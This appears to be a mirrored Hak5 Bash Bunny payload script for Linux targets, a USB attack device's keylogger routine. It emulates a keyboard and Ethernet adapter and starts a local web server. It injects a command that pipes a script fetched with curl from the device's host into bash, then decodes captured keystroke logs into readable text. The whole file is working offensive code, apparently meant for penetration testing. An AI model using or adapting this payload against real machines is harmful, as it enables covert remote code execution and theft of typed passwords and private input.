mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
44 lines
1.2 KiB
Plaintext
44 lines
1.2 KiB
Plaintext
TARGET_OS='LINUX'
|
|
|
|
LED B 100
|
|
ATTACKMODE HID STORAGE ECM_ETHERNET
|
|
sleep 3
|
|
LED R SLOW
|
|
GET HOST_IP
|
|
GET SWITCH_POSITION
|
|
udisk mount
|
|
cd /root/udisk/payloads/$SWITCH_POSITION/
|
|
python webserver.py &
|
|
while true; do [[ $(curl $HOST_IP:8080/index.html) ]] && break ; done
|
|
LED B FAST
|
|
[[ $TARGET_OS == 'auto' ]] && GET TARGET_OS
|
|
[[ $TARGET_OS == 'WINDOWS' ]] && RUN WIN add windows payload
|
|
[[ $TARGET_OS == 'MACOS' ]] && RUN OSX add osx payload
|
|
[[ $TARGET_OS == 'LINUX' ]] && RUN LINUX bash \-c \'bash \<\(curl http\:\/\/$HOST_IP\:8080\/Linux\.sh\)\' \&
|
|
LED
|
|
WAIT
|
|
LED R 0
|
|
cd /root/udisk/loot
|
|
keystate=''
|
|
_ctrl='0'
|
|
_alt='0'
|
|
_shift='0'
|
|
for line in $(cat 'keys')
|
|
do
|
|
if [ $line != 'key' ]; then
|
|
if [ $line == 'press' ] || [ $line == 'release' ]; then
|
|
keystate=$line
|
|
else
|
|
_spaces=$(printf '%*s' $((4-${#line})) | tr ' ' ' ')
|
|
searchparams='keycode'"$_spaces"$line
|
|
key=$(cat 'maps' | grep "$searchparams" | awk '{print $4}')
|
|
echo "Ctrl="$_ctrl" Alt="$_alt" Shift="$_shift" "$keystate" "$key >> 'decoded'
|
|
|
|
fi
|
|
fi
|
|
done
|
|
[[ $TARGET_OS == 'WINDOWS' ]] && RUN WIN add windows payload
|
|
[[ $TARGET_OS == 'MACOS' ]] && RUN OSX add osx payload
|
|
[[ $TARGET_OS == 'LINUX' ]] && RUN LINUX killall xinput
|
|
LED G 0
|